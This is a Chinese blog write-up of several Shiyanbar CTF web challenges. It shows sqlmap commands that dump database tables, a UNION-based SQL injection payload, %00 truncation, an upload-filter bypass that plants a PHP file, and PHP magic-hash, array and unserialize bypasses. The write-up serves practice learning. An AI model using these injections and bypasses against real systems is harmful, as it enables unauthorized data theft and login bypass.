• 实验吧CTF题库-WEB题(部分)


    • 看起来有点难

    提交admin

    http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
    

     用sqlmap检测是否有注入

    ┌─[root@sch01ar]─[/sch01ar]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"
    

     存在注入

    对数据进行读取

    ┌─[root@sch01ar]─[/sch01ar]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
    
    ┌─[root@sch01ar]─[/sch01ar]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
    
    ┌─[root@sch01ar]─[/sch01ar]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"
    

     读出账号密码

    登陆,得到flag

    • 猫抓老鼠

    源代码没什么情况,也没有注入,抓包查看

     go一下

    返回包中有一个Content-Row: MTUxMjU4MzgwNA==

    把MTUxMjU4MzgwNA==替换掉pass_key的1,go

    得到flag

    • 头有点大

    根据提示,要用.net framework 9.9,地址来自英国,浏览器是IE

    抓包改头,发包

    得到flag

    也通过可以设置Modify Headers

    访问网页得到flag

    • 貌似有点难

    我访问的ip不在列表里,查看一下源码

    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    	$cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
    	$cip = $_SERVER["REMOTE_ADDR"];
    else
    	$cip = "0.0.0.0";
    return $cip;
    }
    
    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>
    

     当ip为1.1.1.1时能得到flag

     使用火狐插件X-Forwarded-For

    把ip地址改为1.1.1.1

    刷新网页,得到flag

    • 这个看起来有点简单!

    通过简单的判断,存在注入漏洞

    直接上sqlmap

    ┌─[root@sch01ar]─[~]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
    
    ┌─[root@sch01ar]─[~]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db" 
    
    ┌─[root@sch01ar]─[~]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db"
    
    ┌─[root@sch01ar]─[~]
    └──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db"
    

     得到flag

    • PHP大法

    访问地址,会提示访问index.php.txt

    访问index.php.txt,得到源码

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    
    <br><br>
    Can you authenticate to this website?
    

     第一个if语句,对传入的参数id和字符串"hackerDJ"进行判断,如果传入的参数id的值为"hackerDJ",则输出"not allowed"

    参数id的值等于url解码后的参数id的值

    第二个if语句,判断传入的参数id是否为hackerDJ,如果是的话就输出flag

    因为对hackerDJ的一次url编码会被浏览器转为hackerDJ,所以要进行两次的url编码

    得到flag

    • what a fuck!这是什么鬼东西?

    这是JsFuck加密的,直接解码就好了

    直接用工具

    • 程序逻辑问题

    右键查看源代码,发现一个txt

    点击,得到index.php的源代码

    <html>
    <head>
    welcome to simplexue
    </head>
    <body>
    <?php
    
    
    if($_POST[user] && $_POST[pass]) {
    	$conn = mysql_connect("********, "*****", "********");
    	mysql_select_db("phpformysql") or die("Could not select database");
    	if ($conn->connect_error) {
    		die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];
    $pass = md5($_POST[pass]); //对传入的pass变量进行md5加密,并赋给变量pass
    
    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql); //将查询语句的结果赋值给变量query
    if (!$query) { //判断变量query是否为空
    	printf("Error: %s
    ", mysql_error($conn));
    	exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC); //将变量query的值以MYSQL_ASSOC格式赋给变量row
    //echo $row["pw"];
      
      if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //将变量row中的pw字段和pass的值进行忽略大小写的比较
    	echo "<p>Logged in! Key:************** </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
    	
      }
      
      
    }
    
    ?>
    <form method=post action=index.php>
    <input type=text name=user value="Username">
    <input type=password name=pass value="Password">
    <input type=submit>
    </form>
    </body>
    <a href="index.txt">
    </html>
    

     代码中没有判断变量user,只要变量row的pw字段和变量pass的值一样就能得到flag

    构造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin

    POST,得到flag

    •  NSCTF web200

    解密这段密文,写个php脚本

    <?php
        function decode($str)
        {
            $_ = '';
            $a = str_rot13($str);
            $b = strrev($a);
            $c = base64_decode($b);
            $d = strrev($c);
            for($i=0;$i<strlen($d);$i++)
            {
                $_c = substr($d,$i,1);
                $__ = ord($_c)-1;
                $_c = chr($__);
                $_ = $_.$_c;
            }
            return $_;
        }
        echo decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");
    ?>
    

     运行脚本得到flag

    • 上传绕过

    选择一个jpg文件上传

    上传的格式要是php的才行,但是不能直接上传php

    用burp抓包改包

    在上传路径后加一个以php格式结尾的,再截断

    发送,得到flag

    • FALSE

    题目给的提示

    访问链接

    点击查看源代码

    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
        if ($_GET['name'] == $_GET['password'])
            echo '<p>Your password can not be your name!</p>';
        else if (sha1($_GET['name']) === sha1($_GET['password']))
          die('Flag: '.$flag);
        else
            echo '<p>Invalid password.</p>';
    }
    else{
    	echo '<p>Login first!</p>';
    ?>
    

     传入的name和password不能一样,但是name和password的sha1加密的值得相等

    想到的是传数组

    http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
    

     得到flag

    • Guess Next Session

    猜下一个数,前面这几个数都是随机的

    查看源代码

    <?php
    session_start(); 
    if (isset ($_GET['password'])) {
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print '<p>Wrong guess.</p>';
    }
    
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>
    

     当传入的password和$_SESSION['password']相等时才能得到flag

    burp抓包

    需要改两处地方

    这两处置空,发包,得到flag

    • Once More

    题目给了提示

    题目提示,该题是php代码审计题,而且还跟ereg()函数有关,ereg()函数可以%00截断

    访问链接

    查看源代码

    <?php
    if (isset ($_GET['password'])) {
    	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    	{
    		echo '<p>You password must be alphanumeric</p>';
    	}
    	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //password的长度要小于8,但是password的大小要大于9999999,可以使用科学计数法
    	{
    		if (strpos ($_GET['password'], '*-*') !== FALSE) //password里要有*-*才能得到flag
    		{
    			die('Flag: ' . $flag);
    		}
    		else
    		{
    			echo('<p>*-* have not been found</p>');
    		}
    	}
    	else
    	{
    		echo '<p>Invalid password</p>';
    	}
    }
    ?>
    

     password是一个数但是里面要有*_*,则要用到%00截断

    最终构造:

    http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

    得到flag

    • 忘记密码了

    随便输入一个邮箱,点击提交

    弹出了一个对话框

    http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????

    访问该链接,会出现该界面,但是一晃就跳转到原本的找回密码界面

    那就抓包看看

    代码是用vim编辑器写的,vim编辑器

    还有一个submit.php,提交发送的地方

    vim编辑器有一个特点,会生成一个临时的备份文件

    submit.php生成的就是.submit.php.swp,因为其为隐藏文件,所以前面会有一个点

    访问地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp

    看到了一段代码

    ........这一行是省略的代码........
    
    /*
    如果登录邮箱地址不是管理员则 die()
    数据库结构
    
    --
    -- 表的结构 `user`
    --
    
    CREATE TABLE IF NOT EXISTS `user` (
      `id` int(11) NOT NULL AUTO_INCREMENT,
      `username` varchar(255) NOT NULL,
      `email` varchar(255) NOT NULL,
      `token` int(255) NOT NULL DEFAULT '0',
      PRIMARY KEY (`id`)
    ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
    
    --
    -- 转存表中的数据 `user`
    --
    
    INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
    (1, '****不可见***', '***不可见***', 0);
    */
    
    
    ........这一行是省略的代码........
    
    if(!empty($token)&&!empty($emailAddress)){
    	if(strlen($token)!=10) die('fail'); //变量$token的长度要为10
    	if($token!='0') die('fail'); //变量$token的值要为0
    	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    	$r = mysql_query($sql) or die('db error');
    	$r = mysql_fetch_assoc($r);
    	$r = $r['num'];
    	if($r>0){
    		echo $flag;
    	}else{
    		echo "失败了呀";
    	}
    }
    	
    

    $token的长度要为10,大小要为0,可以设置为0000000000

    邮箱还要是管理员的邮箱

    在burp返回的数据包中可以看到管理员邮箱为:admin@simplexue.com

    接下来构造访问链接:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

    访问,得到flag

    • 天网管理系统

    先右键查看网页源代码

    传入的username的md5值要为0

    PHP在处理哈希值时,会把每一个以0E开头的哈希值都解释为0

    如果两个不同的字符串的md5值都是以0E开头的,那么PHP就会认为他们是相同,都是0

    常见的有QNKCDZO

    在用户名框处提交QNKCDZO

    返回了一个地址

    访问链接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

    题目提示,成也布尔,败也布尔

    $unserialize_str = $_POST['password'];
    $data_unserialize = unserialize($unserialize_str);
    if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
      print_r($flag);
    }
    

    unserialize()函数将数据反序列化,serialize()函数将数据序列化

    <?php
    	$a = array("user" => true,"pass" => true);
    	$b = serialize($a);
    	echo $b;
    	echo "<br>";
    	$c = unserialize($b);
    	print_r($c);
    ?>
    

     运行结果

    把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作为密码,用户名为admin,登陆,得到flag

    • Forms

    提交一个值

    报错

    右键查看源码

    表单的默认值为0

    不填表单直接提交,burp抓包

    把0改成其它数字,发包

    出现了php源代码

    $a = $_POST["PIN"];
    if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
        echo "Congratulations! The flag is $flag";
    } else {
        echo "User with provided PIN not found."; 
    }
    

     当提交的值为-19827747736161128312837161661727773716166727272616149001823847的时候就会返回flag

    提交-19827747736161128312837161661727773716166727272616149001823847,得到flag

    • 拐弯抹角

    一上来就来了一大段的php代码

    完整的php代码

     <?php
    // code by SEC@USTC
    
    echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';
    
    $URL = $_SERVER['REQUEST_URI'];
    //echo 'URL: '.$URL.'<br/>';
    $flag = "CTF{???}";
    
    $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
    $stop = 0;
    
    //这道题目本身也有教学的目的
    //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
    //所以,第一个要求就是不得出现 ./
    if($flag && strpos($URL, './') !== FALSE){
        $flag = "";
        $stop = 1;        //Pass
    }
    
    //第二,我们可以构造  来代替被过滤的 /
    //所以,第二个要求就是不得出现 ../
    if($flag && strpos($URL, '\') !== FALSE){
        $flag = "";
        $stop = 2;        //Pass
    }
    
    //第三,有的系统大小写通用,例如 indirectioN/
    //你也可以用?和#等等的字符绕过,这需要统一解决
    //所以,第三个要求对可以用的字符做了限制,a-z / 和 .
    $matches = array();
    preg_match('/^([0-9a-z/.]+)$/', $URL, $matches);
    if($flag && empty($matches) || $matches[1] != $URL){
        $flag = "";
        $stop = 3;        //Pass
    }
    
    //第四,多个 / 也是可以的
    //所以,第四个要求是不得出现 //
    if($flag && strpos($URL, '//') !== FALSE){
        $flag = "";
        $stop = 4;        //Pass
    }
    
    //第五,显然加上index.php或者减去index.php都是可以的
    //所以我们下一个要求就是必须包含/index.php,并且以此结尾
    if($flag && substr($URL, -10) !== '/index.php'){
        $flag = "";
        $stop = 5;        //Not Pass
    }
    
    //第六,我们知道在index.php后面加.也是可以的
    //所以我们禁止p后面出现.这个符号
    if($flag && strpos($URL, 'p.') !== FALSE){
        $flag = "";
        $stop = 6;        //Not Pass
    }
    
    //第七,现在是最关键的时刻
    //你的$URL必须与/indirection/index.php有所不同
    if($flag && $URL == '/indirection/index.php'){
        $flag = "";
        $stop = 7;        //Not Pass
    }
    if(!$stop) $stop = 8;
    
    echo 'Flag: '.$flag;
    echo '<hr />';
    for($i = 1; $i < $stop; $i++)
        $code = str_replace('//Pass '; 
    

     这里有7个条件判断url是否符合条件

    1.不能有./  2.不能有../  3.不能有大写字母和?和#符号  4不能有//  5.必须以index.php结尾  6.index.php后面不能出现"."这个符号  7.url要和/indirection/index.php不一样

    首先访问,http://ctf5.shiyanbar.com/indirection/index.php

    后面多了个/

    接着访问,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag

    • 后台登录

    右键查看源代码

    有php源码

    <!-- $password=$_POST['password'];
    	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    	$result=mysqli_query($link,$sql);
    		if(mysqli_num_rows($result)>0){
    			echo 'flag is :'.$flag;
    		}
    		else{
    			echo '密码错误!';
    		} -->
    

    直接提交.php前的字符串ffifdyop,得到flag

  • 相关阅读:
    很有意思的“老黄历”网站
    ubuntu
    getopt在Python中的使用
    系统变量TERM不知是用来干什么的?它的值有vt100,vt220等,这些值代表什么意思?
    >/dev/null 2>&1
    linux下常用的ftp服务器软件
    Windows环境下访问NFS
    linux iSCSI target配置全过程
    iSCSI target在安全方面相关设定
    folly学习心得
  • 原文地址:https://www.cnblogs.com/sch01ar/p/7996159.html
Copyright © 2020-2023  润新知